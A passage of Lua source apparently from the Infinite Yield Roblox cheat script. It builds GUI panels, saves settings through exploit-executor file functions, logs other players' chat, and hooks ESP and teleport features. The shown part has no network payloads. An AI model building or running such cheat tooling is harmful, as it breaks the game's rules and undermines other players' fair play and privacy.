1395shadow_3.Parent = PluginEditor
1396shadow_3.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
1397shadow_3.BorderColor3 = Color3.new(0, 0, 0)
1398shadow_3.BorderSizePixel = 0
1399shadow_3.Size = UDim2.new(0, 360, 0, 20)
1400shadow_3.ZIndex = 4
1401
1402PopupText_3.Name = "PopupText"
1403PopupText_3.Parent = shadow_3
1404PopupText_3.BackgroundTransparency = 1
1405PopupText_3.Position = UDim2.new(0, 51, 0, 0)
1406PopupText_3.Size = UDim2.new(0.760355055, -16, 0.949999988, 0)
1407PopupText_3.ZIndex = 4
1408PopupText_3.Font = Enum.Font.SourceSans
1409PopupText_3.TextSize = 20
1410PopupText_3.Text = "Add Plugins"
1411PopupText_3.TextColor3 = Color3.new(1, 1, 1)
1412PopupText_3.TextStrokeTransparency = 0
1413PopupText_3.TextWrapped = true
1414
1415Exit_3.Name = "Exit"
1416Exit_3.Parent = shadow_3
1417Exit_3.BackgroundColor3 = Color3.new(1, 1, 1)
1418Exit_3.BackgroundTransparency = 1
1419Exit_3.Size = UDim2.new(0, 20, 0, 20)
1420Exit_3.ZIndex = 4
1421Exit_3.Image = "rbxassetid://2132544126"
1422
1423logsDrag.Name = randomString()
1424logsDrag.Parent = PARENT
1425logsDrag.Active = true
1426logsDrag.BackgroundColor3 = Color3.new(1, 1, 1)
1427logsDrag.BackgroundTransparency = 1
1428logsDrag.Position = UDim2.new(0, 0, 1, 10)
1429logsDrag.Size = UDim2.new(0, 338, 0, 20)
1430logsDrag.ZIndex = 4
1431
1432shadow.Name = "shadow"
1433shadow.Parent = logsDrag
1434shadow.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
1435shadow.BorderColor3 = Color3.new(0, 0, 0)
1436shadow.BorderSizePixel = 0
1437shadow.Position = UDim2.new(0, 0, 0.00999999978, 0)
1438shadow.Size = UDim2.new(0, 338, 0, 20)
1439shadow.ZIndex = 4
1440
1441Hide.Name = "Hide"
1442Hide.Parent = shadow
1443Hide.BackgroundColor3 = Color3.new(1, 1, 1)
1444Hide.BackgroundTransparency = 1
1445Hide.Position = UDim2.new(0, 20, 0, 0)
1446Hide.Size = UDim2.new(0, 20, 0, 20)
1447Hide.ZIndex = 4
1448Hide.Image = "rbxassetid://2406617031"
1449Hide.ImageTransparency = 0.5
1450
1451PopupText.Name = "PopupText"
1452PopupText.Parent = shadow
1453PopupText.BackgroundTransparency = 1
1454PopupText.Position = UDim2.new(0, 48, 0, 0)
1455PopupText.Size = UDim2.new(0.760355055, -16, 0.949999988, 0)
1456PopupText.ZIndex = 4
1457PopupText.Font = Enum.Font.SourceSans
1458PopupText.TextSize = 20
1459PopupText.Text = "Chat Logs"
1460PopupText.TextColor3 = Color3.new(1, 1, 1)
1461PopupText.TextStrokeTransparency = 0
1462PopupText.TextWrapped = true
1463
1464Exit.Name = "Exit"
1465Exit.Parent = shadow
1466Exit.BackgroundColor3 = Color3.new(1, 1, 1)
1467Exit.BackgroundTransparency = 1
1468Exit.Size = UDim2.new(0, 20, 0, 20)
1469Exit.ZIndex = 4
1470Exit.Image = "rbxassetid://2132544126"
1471
1472scroll.Name = "scroll"
1473scroll.Parent = logsDrag
1474scroll.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
1475scroll.BackgroundTransparency = 0.5
1476scroll.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
1477scroll.BorderSizePixel = 0
1478scroll.Position = UDim2.new(0, 5, 0, 30)
1479scroll.Size = UDim2.new(0, 328, 0, 190)
1480scroll.ZIndex = 5
1481scroll.BottomImage = "rbxasset://textures/blackBkg_square.png"
1482scroll.CanvasSize = UDim2.new(0, 0, 0, 10)
1483scroll.MidImage = "rbxasset://textures/blackBkg_square.png"
1484scroll.ScrollBarThickness = 8
1485scroll.TopImage = "rbxasset://textures/blackBkg_square.png"
1486
1487background.Name = "background"
1488background.Parent = logsDrag
1489background.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
1490background.BorderColor3 = Color3.new(0, 0, 0)
1491background.BorderSizePixel = 0
1492background.Position = UDim2.new(0, 0, 1, 0)
1493background.Size = UDim2.new(0, 338, 0, 230)
1494background.ZIndex = 4
1495
1496Dark_6.Name = "Dark"
1497Dark_6.Parent = background
1498Dark_6.Active = true
1499Dark_6.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
1500Dark_6.BackgroundTransparency = 0.5
1501Dark_6.BorderSizePixel = 0
1502Dark_6.Size = UDim2.new(0, 338, 0, 5)
1503Dark_6.ZIndex = 4
1504
1505Clear.Name = "Clear"
1506Clear.Parent = background
1507Clear.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
1508Clear.BorderSizePixel = 0
1509Clear.Position = UDim2.new(0, 5, 0, 205)
1510Clear.Size = UDim2.new(0, 50, 0, 20)
1511Clear.ZIndex = 4
1512Clear.Font = Enum.Font.SourceSans
1513Clear.FontSize = Enum.FontSize.Size14
1514Clear.Text = "Clear"
1515Clear.TextColor3 = Color3.new(0, 0, 0)
1516
1517Toggle.Name = "Toggle"
1518Toggle.Parent = background
1519Toggle.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
1520Toggle.BorderSizePixel = 0
1521Toggle.Position = UDim2.new(0, 60, 0, 205)
1522Toggle.Size = UDim2.new(0, 50, 0, 20)
1523Toggle.ZIndex = 4
1524Toggle.Font = Enum.Font.SourceSans
1525Toggle.FontSize = Enum.FontSize.Size14
1526Toggle.Text = "Disabled"
1527Toggle.TextColor3 = Color3.new(0, 0, 0)
1528
1529AliasHint.Name = "AliasHint"
1530AliasHint.Parent = AliasesFrame
1531AliasHint.BackgroundColor3 = Color3.new(1, 1, 1)
1532AliasHint.BackgroundTransparency = 1
1533AliasHint.BorderSizePixel = 0
1534AliasHint.Position = UDim2.new(0, 25, 0, 40)
1535AliasHint.Size = UDim2.new(0, 200, 0, 50)
1536AliasHint.Font = Enum.Font.SourceSansItalic
1537AliasHint.TextSize = 16
1538AliasHint.Text = "Add aliases by using the 'addalias' command"
1539AliasHint.TextColor3 = Color3.new(1, 1, 1)
1540AliasHint.TextStrokeColor3 = Color3.new(1, 1, 1)
1541AliasHint.TextWrapped = true
1542
1543PluginsHint.Name = "PluginsHint"
1544PluginsHint.Parent = PluginsFrame
1545PluginsHint.BackgroundColor3 = Color3.new(1, 1, 1)
1546PluginsHint.BackgroundTransparency = 1
1547PluginsHint.BorderSizePixel = 0
1548PluginsHint.Position = UDim2.new(0, 25, 0, 40)
1549PluginsHint.Size = UDim2.new(0, 200, 0, 50)
1550PluginsHint.Font = Enum.Font.SourceSansItalic
1551PluginsHint.TextSize = 16
1552PluginsHint.Text = "Download plugins from the IY Discord (discord.io/infiniteyield)"
1553PluginsHint.TextColor3 = Color3.new(1, 1, 1)
1554PluginsHint.TextStrokeColor3 = Color3.new(1, 1, 1)
1555PluginsHint.TextWrapped = true
1556
1557PositionsHint.Name = "PositionsHint"
1558PositionsHint.Parent = PositionsFrame
1559PositionsHint.BackgroundColor3 = Color3.new(1, 1, 1)
1560PositionsHint.BackgroundTransparency = 1
1561PositionsHint.BorderSizePixel = 0
1562PositionsHint.Position = UDim2.new(0, 25, 0, 40)
1563PositionsHint.Size = UDim2.new(0, 200, 0, 70)
1564PositionsHint.Font = Enum.Font.SourceSansItalic
1565PositionsHint.TextSize = 16
1566PositionsHint.Text = "Use the 'spos' or 'setwaypoint' command to add a position using your character (NOTE: Part teleports will not save)"
1567PositionsHint.TextColor3 = Color3.new(1, 1, 1)
1568PositionsHint.TextStrokeColor3 = Color3.new(1, 1, 1)
1569PositionsHint.TextWrapped = true
1570
1571ToPartFrame.Name = randomString()
1572ToPartFrame.Parent = PARENT
1573ToPartFrame.Active = true
1574ToPartFrame.BackgroundColor3 = Color3.new(1, 1, 1)
1575ToPartFrame.BackgroundTransparency = 1
1576ToPartFrame.Position = UDim2.new(0.5, -180, 0, -400)
1577ToPartFrame.Size = UDim2.new(0, 360, 0, 20)
1578ToPartFrame.ZIndex = 4
1579
1580background_5.Name = "background"
1581background_5.Parent = ToPartFrame
1582background_5.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
1583background_5.BorderSizePixel = 0
1584background_5.Position = UDim2.new(0, 0, 0, 20)
1585background_5.Size = UDim2.new(0, 360, 0, 117)
1586
1587Dark_5.Name = "Dark"
1588Dark_5.Parent = background_5
1589Dark_5.Active = true
1590Dark_5.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
1591Dark_5.BackgroundTransparency = 0.5
1592Dark_5.BorderSizePixel = 0
1593Dark_5.Size = UDim2.new(0, 360, 0, 5)
1594
1595ChoosePart.Name = "ChoosePart"
1596ChoosePart.Parent = background_5
1597ChoosePart.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
1598ChoosePart.BackgroundTransparency = 0.5
1599ChoosePart.BorderSizePixel = 0
1600ChoosePart.Position = UDim2.new(0, 100, 0, 55)
1601ChoosePart.Size = UDim2.new(0, 75, 0, 30)
1602ChoosePart.Font = Enum.Font.SourceSans
1603ChoosePart.FontSize = Enum.FontSize.Size18
1604ChoosePart.Text = "Select Part"
1605ChoosePart.TextColor3 = Color3.new(1, 1, 1)
1606ChoosePart.TextStrokeTransparency = 0
1607
1608CopyPath.Name = "CopyPath"
1609CopyPath.Parent = background_5
1610CopyPath.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
1611CopyPath.BackgroundTransparency = 0.5
1612CopyPath.BorderSizePixel = 0
1613CopyPath.Position = UDim2.new(0, 185, 0, 55)
1614CopyPath.Size = UDim2.new(0, 75, 0, 30)
1615CopyPath.Font = Enum.Font.SourceSans
1616CopyPath.FontSize = Enum.FontSize.Size18
1617CopyPath.Text = "Copy Path"
1618CopyPath.TextColor3 = Color3.new(1, 1, 1)
1619CopyPath.TextStrokeTransparency = 0
1620
1621Directions_4.Name = "Directions"
1622Directions_4.Parent = background_5
1623Directions_4.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
1624Directions_4.BackgroundTransparency = 1
1625Directions_4.BorderSizePixel = 0
1626Directions_4.Position = UDim2.new(0, 51, 0, 17)
1627Directions_4.Size = UDim2.new(0, 257, 0, 32)
1628Directions_4.Font = Enum.Font.SourceSansBold
1629Directions_4.FontSize = Enum.FontSize.Size14
1630Directions_4.Text = 'Click on a part and then click the "Select Part" button below to set it as a teleport location'
1631Directions_4.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549)
1632Directions_4.TextStrokeTransparency = 0
1633Directions_4.TextWrapped = true
1634Directions_4.TextYAlignment = Enum.TextYAlignment.Top
1635
1636Path.Name = "Path"
1637Path.Parent = background_5
1638Path.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
1639Path.BackgroundTransparency = 1
1640Path.BorderSizePixel = 0
1641Path.Position = UDim2.new(0, 0, 0, 94)
1642Path.Size = UDim2.new(0, 360, 0, 16)
1643Path.Font = Enum.Font.SourceSansItalic
1644Path.FontSize = Enum.FontSize.Size14
1645Path.Text = ""
1646Path.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549)
1647Path.TextScaled = true
1648Path.TextStrokeTransparency = 0
1649Path.TextWrapped = true
1650Path.TextYAlignment = Enum.TextYAlignment.Top
1651
1652shadow_5.Name = "shadow"
1653shadow_5.Parent = ToPartFrame
1654shadow_5.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
1655shadow_5.BorderColor3 = Color3.new(0, 0, 0)
1656shadow_5.BorderSizePixel = 0
1657shadow_5.Size = UDim2.new(0, 360, 0, 20)
1658shadow_5.ZIndex = 4
1659
1660PopupText_5.Name = "PopupText"
1661PopupText_5.Parent = shadow_5
1662PopupText_5.BackgroundTransparency = 1
1663PopupText_5.Position = UDim2.new(0, 51, 0, 0)
1664PopupText_5.Size = UDim2.new(0.760355055, -16, 0.949999988, 0)
1665PopupText_5.ZIndex = 4
1666PopupText_5.Font = Enum.Font.SourceSans
1667PopupText_5.TextSize = 20
1668PopupText_5.Text = "Teleport to Part"
1669PopupText_5.TextColor3 = Color3.new(1, 1, 1)
1670PopupText_5.TextStrokeTransparency = 0
1671PopupText_5.TextWrapped = true
1672
1673Exit_5.Name = "Exit"
1674Exit_5.Parent = shadow_5
1675Exit_5.BackgroundColor3 = Color3.new(1, 1, 1)
1676Exit_5.BackgroundTransparency = 1
1677Exit_5.Size = UDim2.new(0, 20, 0, 20)
1678Exit_5.ZIndex = 4
1679Exit_5.Image = "rbxassetid://2132544126"
1680
1681function writefileExploit()
1682 if writefile then
1683 return true
1684 end
1685end
1686
1687function isNumber(str)
1688 return tonumber(str) ~= nil
1689end
1690
1691function tools(plr)
1692 if plr.Backpack:FindFirstChildOfClass('Tool') or plr.Character:FindFirstChildOfClass('Tool') then
1693 return true
1694 end
1695end
1696
1697function r15(plr)
1698 if plr.Character:FindFirstChildOfClass('Humanoid').RigType == Enum.HumanoidRigType.R15 then
1699 return true
1700 end
1701end
1702
1703function toClipboard(String)
1704 if not pcall(function() CB = setclipboard or Clipboard.set CB(String) notify('Clipboard','Copied to clipboard') end) then
1705 notify('Clipboard',"Your exploit doesn't have the ability to use the clipboard")
1706 end
1707end
1708
1709local function getHierarchy(obj)
1710 local fullname
1711 local period
1712
1713 if string.find(obj.Name,' ') then
1714 fullname = '["'..obj.Name..'"]'
1715 period = false
1716 else
1717 fullname = obj.Name
1718 period = true
1719 end
1720
1721 local getS = obj
1722 local parent = obj
1723 local service = ''
1724
1725 if getS.Parent ~= game then
1726 repeat
1727 getS = getS.Parent
1728 service = getS.ClassName
1729 until getS.Parent == game
1730 end
1731
1732 if parent.Parent ~= getS then
1733 repeat
1734 parent = parent.Parent
1735 if string.find(tostring(parent),' ') then
1736 if period then
1737 fullname = '["'..parent.Name..'"].'..fullname
1738 else
1739 fullname = '["'..parent.Name..'"]'..fullname
1740 end
1741 period = false
1742 else
1743 if period then
1744 fullname = parent.Name..'.'..fullname
1745 else
1746 fullname = parent.Name..''..fullname
1747 end
1748 period = true
1749 end
1750 until parent.Parent == getS
1751 elseif string.find(tostring(parent),' ') then
1752 fullname = '["'..parent.Name..'"]'
1753 period = false
1754 end
1755
1756 if period then
1757 return 'game:GetService("'..service..'").'..fullname
1758 else
1759 return 'game:GetService("'..service..'")'..fullname
1760 end
1761end
1762
1763local AllWaypoints = nil
1764
1765local cooldown = false
1766function writefileCooldown(name,data)
1767 spawn(function()
1768 if not cooldown then
1769 cooldown = true
1770 writefile(name, data)
1771 else
1772 repeat wait() until cooldown == false
1773 writefileCooldown(name,data)
1774 end
1775 wait(3)
1776 cooldown = false
1777 end)
1778end
1779
1780defaultsettings = {
1781 prefix = ';';
1782 StayOpen = false;
1783 logsEnabled = false;
1784 aliases = {};
1785 binds = {};
1786 spawnCmds = {};
1787 WayPoints = {};
1788 PluginsTable = {}
1789}
1790
1791defaults = game:GetService("HttpService"):JSONEncode(defaultsettings)
1792
1793local nosaves = false
1794
1795function saves()
1796 if writefileExploit() then
1797 if pcall(function() readfile("IY_FE.iy") end) then
1798 if readfile("IY_FE.iy") ~= nil then
1799 local json = game:GetService("HttpService"):JSONDecode(readfile("IY_FE.iy"))
1800 if json.prefix ~= nil then prefix = json.prefix else prefix = ';' end
1801 if json.StayOpen ~= nil then StayOpen = json.StayOpen else StayOpen = false end
1802 if json.logsEnabled ~= nil then logsEnabled = json.logsEnabled else logsEnabled = false end
1803 if json.aliases ~= nil then aliases = json.aliases else aliases = {} end
1804 if json.binds ~= nil then binds = json.binds else binds = {} end
1805 if json.spawnCmds ~= nil then spawnCmds = json.spawnCmds else spawnCmds = {} end
1806 if json.WayPoints ~= nil then AllWaypoints = json.WayPoints else WayPoints = {} end
1807 if json.PluginsTable ~= nil then PluginsTable = json.PluginsTable else PluginsTable = {} end
1808 else
1809 writefileCooldown("IY_FE.iy", defaults)
1810 wait()
1811 saves()
1812 end
1813 else
1814 writefileCooldown("IY_FE.iy", defaults)
1815 wait()
1816 if pcall(function() readfile("IY_FE.iy") end) then
1817 saves()
1818 else
1819 nosaves = true
1820 prefix = ';'
1821 StayOpen = false
1822 logsEnabled = false
1823 aliases = {}
1824 binds = {}
1825 spawnCmds = {}
1826 WayPoints = {}
1827 PluginsTable = {}
1828
1829 local FileError = Instance.new("Frame")
1830 local background = Instance.new("Frame")
1831 local Directions = Instance.new("TextLabel")
1832 local Dark = Instance.new("Frame")
1833 local shadow = Instance.new("Frame")
1834 local PopupText = Instance.new("TextLabel")
1835 local Exit = Instance.new("ImageButton")
1836
1837 FileError.Name = randomString()
1838 FileError.Parent = PARENT
1839 FileError.Active = true
1840 FileError.BackgroundColor3 = Color3.new(1, 1, 1)
1841 FileError.BackgroundTransparency = 1
1842 FileError.Position = UDim2.new(0.5, -180, 0, 290)
1843 FileError.Size = UDim2.new(0, 360, 0, 20)
1844 FileError.ZIndex = 4
1845
1846 background.Name = "background"
1847 background.Parent = FileError
1848 background.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
1849 background.BorderSizePixel = 0
1850 background.Position = UDim2.new(0, 0, 0, 20)
1851 background.Size = UDim2.new(0, 360, 0, 210)
1852
1853 Directions.Name = "Directions"
1854 Directions.Parent = background
1855 Directions.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
1856 Directions.BackgroundTransparency = 1
1857 Directions.BorderSizePixel = 0
1858 Directions.Position = UDim2.new(0, 10, 0, 15)
1859 Directions.Size = UDim2.new(0, 340, 0, 185)
1860 Directions.Font = Enum.Font.SourceSansBold
1861 Directions.FontSize = Enum.FontSize.Size14
1862 Directions.Text = "There was a problem writing a save file to your PC.\n\nPlease contact the developer/support team for your exploit and tell them writefile is not working.\n\nYour settings, keybinds, waypoints, and aliases will not save if you continue.\n\nThings to try:\n> Make sure a 'workspace' folder is located in the same folder as your exploit\n> If your exploit is inside of a zip/rar file, extract it.\n> Rejoin the game and try again or restart your PC and try again."
1863 Directions.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549)
1864 Directions.TextStrokeTransparency = 0
1865 Directions.TextWrapped = true
1866 Directions.TextXAlignment = Enum.TextXAlignment.Left
1867 Directions.TextYAlignment = Enum.TextYAlignment.Top
1868
1869 Dark.Name = "Dark"
1870 Dark.Parent = background
1871 Dark.Active = true
1872 Dark.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
1873 Dark.BackgroundTransparency = 0.5
1874 Dark.BorderSizePixel = 0
1875 Dark.Size = UDim2.new(0, 360, 0, 5)
1876
1877 shadow.Name = "shadow"
1878 shadow.Parent = FileError
1879 shadow.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
1880 shadow.BorderColor3 = Color3.new(0, 0, 0)
1881 shadow.BorderSizePixel = 0
1882 shadow.Size = UDim2.new(0, 360, 0, 20)
1883 shadow.ZIndex = 4
1884
1885 PopupText.Name = "PopupText"
1886 PopupText.Parent = shadow
1887 PopupText.BackgroundTransparency = 1
1888 PopupText.Position = UDim2.new(0, 51, 0, 0)
1889 PopupText.Size = UDim2.new(0.760355055, -16, 0.949999988, 0)
1890 PopupText.ZIndex = 4
1891 PopupText.Font = Enum.Font.SourceSans
1892 PopupText.TextSize = 20
1893 PopupText.Text = "File Error"
1894 PopupText.TextColor3 = Color3.new(1, 1, 1)
1895 PopupText.TextStrokeTransparency = 0
1896 PopupText.TextWrapped = true
1897
1898 Exit.Name = "Exit"
1899 Exit.Parent = shadow
1900 Exit.BackgroundColor3 = Color3.new(1, 1, 1)
1901 Exit.BackgroundTransparency = 1
1902 Exit.Size = UDim2.new(0, 20, 0, 20)
1903 Exit.ZIndex = 4
1904 Exit.Image = "rbxassetid://2132544126"
1905
1906 Exit.MouseButton1Click:Connect(function()
1907 FileError:Destroy()
1908 end)
1909 end
1910 end
1911 else
1912 prefix = ';'
1913 StayOpen = false
1914 logsEnabled = false
1915 aliases = {}
1916 binds = {}
1917 spawnCmds = {}
1918 WayPoints = {}
1919 PluginsTable = {}
1920 end
1921end
1922
1923saves()
1924
1925function updatesaves()
1926 if nosaves == false and writefileExploit() then
1927 local update = {
1928 prefix = prefix;
1929 StayOpen = StayOpen;
1930 logsEnabled = logsEnabled;
1931 aliases = aliases;
1932 binds = binds;
1933 spawnCmds = spawnCmds;
1934 WayPoints = AllWaypoints;
1935 PluginsTable = PluginsTable
1936 }
1937 writefileCooldown("IY_FE.iy", game:GetService("HttpService"):JSONEncode(update))
1938 end
1939end
1940
1941pWayPoints = {}
1942WayPoints = {}
1943
1944if AllWaypoints ~= nil then
1945 for i = 1, #AllWaypoints do
1946 if not AllWaypoints[i].GAME or AllWaypoints[i].GAME == game.PlaceId then
1947 WayPoints[#WayPoints + 1] = {NAME = AllWaypoints[i].NAME, COORD = {AllWaypoints[i].COORD[1], AllWaypoints[i].COORD[2], AllWaypoints[i].COORD[3]}, GAME = AllWaypoints[i].GAME}
1948 end
1949 end
1950end
1951
1952function Time()
1953 local HOUR = math.floor((tick() % 86400) / 3600)
1954 local MINUTE = math.floor((tick() % 3600) / 60)
1955 local SECOND = math.floor(tick() % 60)
1956 local AP = HOUR > 11 and 'PM' or 'AM'
1957 HOUR = (HOUR % 12 == 0 and 12 or HOUR % 12)
1958 HOUR = HOUR < 10 and '0' .. HOUR or HOUR
1959 MINUTE = MINUTE < 10 and '0' .. MINUTE or MINUTE
1960 SECOND = SECOND < 10 and '0' .. SECOND or SECOND
1961 return HOUR .. ':' .. MINUTE .. ':' .. SECOND .. ' ' .. AP
1962end
1963
1964UserInputService = game:GetService("UserInputService")
1965IYMouse = Players.LocalPlayer:GetMouse()
1966PrefixBox.Text = prefix
1967SettingsOpen = false
1968
1969if StayOpen == false then
1970 Holder.Settings.StayOpen.Button.On.BackgroundTransparency = 1
1971else
1972 Holder.Settings.StayOpen.Button.On.BackgroundTransparency = 0
1973end
1974
1975if logsEnabled then
1976 Toggle.Text = 'Enabled'
1977else
1978 Toggle.Text = 'Disabled'
1979end
1980
1981function maximizeHolder()
1982 if StayOpen == false then
1983 Holder:TweenPosition(UDim2.new(1, Holder.Position.X.Offset, 1, -220), "InOut", "Quart", 0.2, true, nil)
1984 end
1985end
1986
1987function minimizeHolder()
1988 if StayOpen == false then
1989 Holder:TweenPosition(UDim2.new(1, Holder.Position.X.Offset, 1, -20), "InOut", "Quart", 0.5, true, nil)
1990 end
1991end
1992
1993function cmdbarHolder()
1994 if StayOpen == false then
1995 Holder:TweenPosition(UDim2.new(1, Holder.Position.X.Offset, 1, -45), "InOut", "Quart", 0.5, true, nil)
1996 end
1997end
1998
1999function enablebuttons()
2000 Settings.Aliases.Select.Visible = true
2001 Settings.SpawnC.Select.Visible = true
2002 Settings.Keybinds.Select.Visible = true
2003 Settings.StayOpen.Button.On.Visible = true
2004 Settings.Prefix.PrefixBox.Visible = true
2005 Settings.Positions.Select.Visible = true
2006 Settings.Plugins.Select.Visible = true
2007end
2008
2009function disablebuttons()
2010 Settings.Aliases.Select.Visible = false
2011 Settings.SpawnC.Select.Visible = false
2012 Settings.Keybinds.Select.Visible = false
2013 Settings.StayOpen.Button.On.Visible = false
2014 Settings.Prefix.PrefixBox.Visible = false
2015 Settings.Positions.Select.Visible = false
2016 Settings.Plugins.Select.Visible = false
2017end
2018
2019notifyCount = 0
2020function notify(text,text2,length)
2021 spawn(function()
2022 local LnotifyCount = notifyCount+1
2023 notifyCount = notifyCount+1
2024 Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, -0), "InOut", "Quart", 0.5, true, nil)
2025 wait(0.6)
2026 local closepressed = false
2027 if text2 then
2028 Notification.Title.Text = text
2029 Notification.Text.Text = text2
2030 else
2031 Notification.Title.Text = 'Notification'
2032 Notification.Text.Text = text
2033 end
2034 Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, -100), "InOut", "Quart", 0.5, true, nil)
2035 Notification.CloseButton.MouseButton1Click:Connect(function()
2036 Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, -0), "InOut", "Quart", 0.5, true, nil)
2037 closepressed = true
2038 end)
2039 if length and isNumber(length) then
2040 wait(length)
2041 else
2042 wait(10)
2043 end
2044 if LnotifyCount == notifyCount then
2045 if closepressed == false then
2046 Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, -0), "InOut", "Quart", 0.5, true, nil)
2047 end
2048 notifyCount = 0
2049 end
2050 end)
2051end
2052
2053function CreateLabel(Name, Text)
2054 local sf = scroll
2055 if #sf:GetChildren() >= 2546 then
2056 sf:ClearAllChildren()
2057 end
2058 local alls = 0
2059 for i,v in pairs(sf:GetChildren()) do
2060 if v then
2061 alls = v.Size.Y.Offset + alls
2062 end
2063 if not v then
2064 alls = 0
2065 end
2066 end
2067 local tl = Instance.new('TextLabel', sf)
2068 local il = Instance.new('Frame', tl)
2069 tl.Name = Name
2070 tl.ZIndex = 6
2071 tl.Text = Time().." - ["..Name.."]: "..Text
2072 tl.Size = UDim2.new(0,322,0,84)
2073 tl.BackgroundTransparency = 1
2074 tl.BorderSizePixel = 0
2075 tl.Font = "SourceSansBold"
2076 tl.Position = UDim2.new(-1,0,0,alls)
2077 tl.TextTransparency = 1
2078 tl.TextScaled = false
2079 tl.TextSize = 14
2080 tl.TextWrapped = true
2081 tl.TextXAlignment = "Left"
2082 tl.TextYAlignment = "Top"
2083 il.BackgroundTransparency = 1
2084 il.BorderSizePixel = 0
2085 il.Size = UDim2.new(0,12,1,0)
2086 il.Position = UDim2.new(0,316,0,0)
2087 tl.TextColor3 = Color3.fromRGB(255,255,255)
2088 tl.Size = UDim2.new(0,322,0,tl.TextBounds.Y)
2089 sf.CanvasSize = UDim2.new(0,0,0,alls+tl.TextBounds.Y)
2090 sf.CanvasPosition = Vector2.new(0,sf.CanvasPosition.Y+tl.TextBounds.Y)
2091 local size2 = sf.CanvasSize.Y.Offset
2092 tl:TweenPosition(UDim2.new(0,3,0,alls), 'In', 'Quint', 0.5)
2093 for i = 0,50 do wait(0.05)
2094 tl.TextTransparency = tl.TextTransparency - 0.05
2095 end
2096 tl.TextTransparency = 0
2097end
2098
2099IYMouse.KeyDown:connect(function(Key)
2100 if (Key==prefix) then
2101 Holder.Cmdbar:CaptureFocus()
2102 maximizeHolder()
2103 end
2104end)
2105
2106Holder.MouseEnter:Connect(function()
2107 maximizeHolder()
2108end)
2109
2110Holder.MouseLeave:Connect(function()
2111 if not Holder.Cmdbar:IsFocused() then
2112 minimizeHolder()
2113 end
2114end)
2115
2116Holder.SettingsButton.MouseButton1Click:Connect(function()
2117 if SettingsOpen == false then SettingsOpen = true
2118 Holder.Settings:TweenPosition(UDim2.new(0, 0, 0, 45), "InOut", "Quart", 0.5, true, nil)
2119 Holder.CMDs.Visible = false
2120 else SettingsOpen = false
2121 Holder.CMDs.Visible = true
2122 Holder.Settings:TweenPosition(UDim2.new(0, 0, 0, 220), "InOut", "Quart", 0.5, true, nil)
2123 end
2124end)
2125
2126Holder.Settings.StayOpen.Button.On.MouseButton1Click:Connect(function()
2127 if StayOpen == false then StayOpen = true
2128 Holder.Settings.StayOpen.Button.On.BackgroundTransparency = 0
2129 else StayOpen = false
2130 Holder.Settings.StayOpen.Button.On.BackgroundTransparency = 1
2131 end
2132 updatesaves()
2133end)
2134
2135Clear.MouseButton1Down:connect(function()
2136 for _, child in pairs(scroll:GetChildren()) do
2137 child:Destroy()
2138 end
2139 scroll.CanvasSize = UDim2.new(0, 0, 0, 10)
2140end)
2141
2142Toggle.MouseButton1Down:connect(function()
2143 if logsEnabled then
2144 logsEnabled = false
2145 Toggle.Text = 'Disabled'
2146 updatesaves()
2147 else
2148 logsEnabled = true
2149 Toggle.Text = 'Enabled'
2150 updatesaves()
2151 end
2152end)
2153
2154if not writefileExploit() then
2155 notify('Saves','Your exploit does not support read/write file. Your settings will not save.')
2156end
2157
2158ChatLog = function(plr)
2159 plr.Chatted:Connect(function(Message)
2160 if logsEnabled == true then
2161 CreateLabel(plr.Name,Message)
2162 end
2163 end)
2164end
2165
2166for _, plr in pairs(Players:GetChildren()) do
2167 if plr.ClassName == "Player" then
2168 ChatLog(plr)
2169 end
2170end
2171
2172Players.PlayerAdded:connect(function(player)
2173 ChatLog(player)
2174 if ESPenabled then
2175 repeat wait(1) until player.Character and player.Character:FindFirstChild('HumanoidRootPart')
2176 ESP(player)
2177 end
2178 if CHMSenabled then
2179 repeat wait(1) until player.Character and player.Character:FindFirstChild('HumanoidRootPart')
2180 CHMS(player)
2181 end
2182end)
2183
2184Players.PlayerRemoving:connect(function(player)
2185 for i,v in pairs(PARENT:GetChildren()) do
2186 if v.Name == player.Name..'_ESP' or v.Name == player.Name..'_LC' then
2187 v:Destroy()
2188 end
2189 end
2190end)
2191
2192shadow.Exit.MouseButton1Down:connect(function()
2193 logsDrag:TweenPosition(UDim2.new(0, 0, 1, 10), "InOut", "Quart", 0.3, true, nil)
2194end)
2195
2196shadow.Hide.MouseButton1Down:connect(function()
2197 if logsDrag.Position ~= UDim2.new(0, 0, 1, -20) then
2198 logsDrag:TweenPosition(UDim2.new(0, 0, 1, -20), "InOut", "Quart", 0.3, true, nil)
2199 else
2200 logsDrag:TweenPosition(UDim2.new(0, 0, 1, -250), "InOut", "Quart", 0.3, true, nil)
2201 end
2202end)
2203
2204
2205
2206SpawnC.Select.MouseButton1Click:Connect(function()
2207 SpawnCFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
2208 wait(0.5)
2209 disablebuttons()
2210end)
2211
2212SpawnCFrame.Close.MouseButton1Click:Connect(function()
2213 enablebuttons()
